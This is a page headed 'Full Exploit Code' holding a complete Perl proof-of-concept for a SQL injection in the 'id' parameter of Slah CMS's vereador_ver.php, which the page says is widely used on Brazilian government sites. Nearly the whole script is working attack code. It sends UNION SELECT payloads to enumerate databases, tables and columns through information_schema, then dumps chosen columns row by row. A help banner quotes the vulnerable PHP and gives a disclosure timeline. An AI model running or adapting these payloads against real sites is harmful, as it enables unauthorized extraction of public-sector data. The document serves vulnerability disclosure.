CLOSE
Full Exploit Code
- #!/usr/bin/perl
- use strict;
- use warnings;
- use Getopt::Long;
- use LWP::UserAgent;
- # Variables initialization
- my ($target_url, $target_table, $list_columns_flag, $dump_columns, $list_tables_flag, $show_help, $list_databases_flag, $target_database);
- # Parse command line arguments
- GetOptions(
- 'url=s' => \$target_url,
- 'table=s' => \$target_table,
- 'columns' => \$list_columns_flag,
- 'dump=s' => \$dump_columns,
- 'tables' => \$list_tables_flag,
- 'help' => \$show_help,
- 'databases' => \$list_databases_flag,
- 'database=s' => \$target_database
- );
- # HTTP Request function
- sub send_request {
- my ($payload) = @_;
- # URL encode for spaces and quotes to ensure proper delivery through the GET parameter
- $payload =~ s/ /%20/g;
- $payload =~ s/'/%27/g;
-
- my $user_agent = LWP::UserAgent->new(timeout => 15);
- my $response = $user_agent->get($target_url . $payload);
-
- return $response->is_success ? $response->decoded_content : "";
- }
- # HTML data extraction
- sub parse_html_content {
- my ($html_body) = @_;
-
- # Regex
- my ($extracted_value_one) = $html_body =~ /VEREADOR:<\/b>\s*(.*?)\s*<br\/>/is;
- my ($extracted_value_two) = $html_body =~ /BIOGRAFIA:<\/b>\s*<span>(.*?)<\/span>/is;
-
- # Clean up the output by trimming leading and trailing whitespace
- $extracted_value_one =~ s/^\s+|\s+$//g if $extracted_value_one;
- $extracted_value_two =~ s/^\s+|\s+$//g if $extracted_value_two;
-
- return ($extracted_value_one // "", $extracted_value_two // "");
- }
- # Multi line logic for long data strings
- sub wrap_and_print_row {
- my ($string_one, $string_two, $width_one, $width_two) = @_;
-
- # Slice the input strings into fixed-width chunks
- my @parts_one = unpack("(A$width_one)*", $string_one);
- my @parts_two = unpack("(A$width_two)*", $string_two);
-
- # Determine the maximum height needed for the current record
- my $max_lines = scalar @parts_one > scalar @parts_two ? scalar @parts_one : scalar @parts_two;
-
- for (my $index = 0; $index < $max_lines; $index++) {
- my $line_content_one = $parts_one[$index] // "";
- my $line_content_two = $parts_two[$index] // "";
-
- # Output the row fragments with consistent border spacing
- printf "| %-${width_one}s | %-${width_two}s |\n", $line_content_one, $line_content_two;
- }
- }
- # Help menu
- if ($show_help || !$target_url) {
- print "+------------------------------------------------------------------------------+
- [i] A critical SQL Injection vulnerability has been identified in Slah CMS,
- a software widely deployed in Brazilian governmental infrastructure (.gov.br)
- for institutional web management. The application fails to sanitize the 'id'
- parameter in the 'vereador_ver.php' endpoint (line 30) before concatenating
- it into a dynamic SQL query (line 32). This flaw allows an unauthenticated
- remote attacker to inject malicious SQL commands, leading to the unauthorized
- extraction of the entire database (exfiltration) and threatening the
- confidentiality of public sector administrative operations.
- [*] Researcher: João Paulo de Oliveira
- [*] Exploit Author: João Paulo de Oliveira
- +------------------------------------------------------------------------------+
- 30 \$id_vereador = \$_GET[id];
- 31
- 32 \$sql = \"SELECT * FROM noticias WHERE id='\$id_vereador'\";
- 33
- 34 \$resultado = mysql_query(\$sql)
- 35 or die (\"Não foi possível realizar a consulta...\");
- +------------------------------------------------------------------------------+
- [*] 2025-09-01 - Vulnerability identified
- [*] 2025-09-02 - Initial contact with vendor
- [*] 2025-09-02 - Vendor acknowledged and requested details
- [*] 2025-09-03 - Technical details and mitigation provided
- [*] 2026-01-05 - Official patch released by vendor
- [*] 2026-02-10 - CVE ID requested and disclosure initiated
- +------------------------------------------------------------------------------+
- Arguments:
- --url <URL> Target URL (e.g., http://site.gov.br/vereador_ver.php?id=)
- --databases Enumerate all databases (schemas)
- --database <D> Specify target database
- --tables Enumerate all tables
- --table <T> Specify target table for column listing or dumping
- --columns Enumerate columns for the specified table
- --dump \"c1,c2\" Extract data from specified columns (comma separated)
- Usage:
- perl poc.pl --url <URL> --databases
- perl poc.pl --url <URL> --database <D> --tables
- perl poc.pl --url <URL> --database <D> --table <T> --columns
- perl poc.pl --url <URL> --database <D> --table <T> --dump \"c1,c2\"
- \n";
- exit;
- }
- # List databases
- if ($list_databases_flag) {
- print "[*] Enumerating databases...\n";
- # Fetching all schema names from information_schema
- my ($database_list_raw) = parse_html_content(send_request("' UNION SELECT 1,group_concat(schema_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.schemata-- -"));
-
- if ($database_list_raw) {
- $database_list_raw =~ s/<br\s*\/?>/\n/gi;
- my @databases_found = split(/\n/, $database_list_raw);
- printf "[i] Available databases [%d]:\n\n", scalar @databases_found;
- foreach (@databases_found) { print "[*] $_\n"; }
- }
- }
- # List tables
- elsif ($list_tables_flag) {
- print "[*] Enumerating tables...\n";
- # Use specified database or default to current database()
- my $database_context = $target_database ? "'$target_database'" : "database()";
-
- # Inject a UNION SELECT payload to concatenate all table names from information_schema
- my ($tables_data) = parse_html_content(send_request("' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema=$database_context-- -"));
-
- if ($tables_data) {
- $tables_data =~ s/<br\s*\/?>/\n/gi;
- my $separator = "+--------------------------------------------+";
- print "$separator\n| Tables Found |\n$separator\n";
- foreach (split(/\n/, $tables_data)) {
- printf "| %-42s |\n", (length($_) > 42 ? substr($_, 0, 39)."..." : $_);
- }
- print "$separator\n";
- }
- }
- # List columns
- elsif ($target_table && $list_columns_flag) {
- print "[*] Enumerating columns for table: $target_table\n";
- # Filter by database if provided to avoid ambiguity across schemas
- my $schema_filter = $target_database ? "AND table_schema='$target_database'" : "";
-
- my ($columns_data_raw) = parse_html_content(send_request("' UNION SELECT 1,group_concat(column_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_name='$target_table' $schema_filter-- -"));
-
- if ($columns_data_raw) {
- $columns_data_raw =~ s/<br\s*\/?>/\n/gi;
- my $separator = "+--------------------------------------------+";
- print "$separator\n| Columns in $target_table" . " "x(42-length("Columns in $target_table")) . " |\n$separator\n";
- foreach (split(/\n/, $columns_data_raw)) {
- printf "| %-42s |\n", $_;
- }
- print "$separator\n";
- }
- }
- # Data dump
- elsif ($target_table && $dump_columns) {
- my ($column_one, $column_two) = split(',', $dump_columns);
- $column_two //= $column_one;
-
- # Table visual configuration
- my $width_one = 45;
- my $width_two = 38;
- my $row_separator = "+" . "-"x($width_one+2) . "+" . "-"x($width_two+2) . "+";
- # Define full path if database is specified
- my $full_table_identifier = $target_database ? "$target_database.$target_table" : $target_table;
- print "[*] Dumping: $full_table_identifier\n";
- print "$row_separator\n";
- printf "| %-${width_one}s | %-${width_two}s |\n", uc($column_one), uc($column_two);
- print "$row_separator\n";
- # Iterate through database records using the SQL LIMIT clause to fetch entries one by one
- for (my $row_index = 0; $row_index <= 100; $row_index++) {
- # Perform injection targeting the specific row index
- my ($val_one, $val_two) = parse_html_content(send_request("' UNION SELECT 1,$column_one,3,4,5,6,$column_two,8,9,10,11,12,13,14,15 FROM $full_table_identifier LIMIT $row_index,1-- -"));
-
- # Terminate loop if the application returns empty values (end of table)
- last if (!$val_one && !$val_two);
- # Handle cases where the application might reflect the first column's placeholder constant "1"
- last if ($row_index > 0 && $val_one eq "1");
- # Render the record using the multi line wrapping logic to maintain ASCII table integrity
- wrap_and_print_row($val_one, $val_two, $width_one, $width_two);
- print "$row_separator\n";
- }
- print "[!] Extraction complete.\n";
- }